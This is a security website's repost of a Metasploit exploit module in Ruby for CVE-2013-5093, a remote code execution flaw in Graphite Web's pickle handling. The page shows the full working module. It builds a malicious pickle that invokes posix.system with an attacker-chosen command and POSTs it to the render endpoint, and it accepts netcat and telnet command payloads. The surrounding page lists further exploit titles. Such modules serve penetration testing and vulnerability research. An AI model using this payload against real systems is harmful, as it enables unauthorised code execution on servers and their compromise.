首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Graphite Web Unsafe Pickle Handling Exploit
来源:metasploit.com 作者:Eriksen 发布时间:2013-08-26  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'       => 'Graphite Web Unsafe Pickle Handling',
      'Description'   => %q{
        This module exploits a remote code execution vulnerability in the pickle
        handling of the rendering code in the Graphite Web project between version
        0.9.5 and 0.9.10(both included).
      },
      'Author'     =>
        [
          'Charlie Eriksen' # Initial discovery and exploit
        ],
      'License'     => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2013-5093'],
        ],
      'Platform'      => 'unix',
      'Arch'        => ARCH_CMD,
      'Privileged'    => false,
      'Targets'     => [ ['Automatic', {} ] ],
      'DisclosureDate' => 'Aug 20 2013',
      'DefaultTarget'  => 0,
      'Payload'     =>
        {
          'DisableNops' => true,
          'Space'      => 16384,
          'Compat'    =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'python generic telnet netcat perl ruby'
            }
        }))
  
    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
      ], self.class)
  
  end
  
  def check
    response = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST'
    })
  
    if response and response.code == 500
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end
  
  def exploit
    data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
  
    print_status("Sending exploit payload...")
  
    response = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST',
      'data'    => data
    })
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PCMAN FTP 2.07 STOR Command -
·freeFTPd 1.0.10 (PASS Command)
·VLC Player 2.0.8 (.m3u) - Loca
·Samba nttrans Reply - Integer
·Mozilla Firefox 3.6 - Integer
·Samba nttrans Reply - Integer
·Mozilla Firefox 3.5.4 - Local
·Netgear ProSafe - Denial of Se
·Cogent DataHub HTTP Server Buf
·ALLMediaServer 0.95 Buffer Ove
·Cisco WebEx One-Click Client P
·ALLMediaServer version 0.95 SE
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved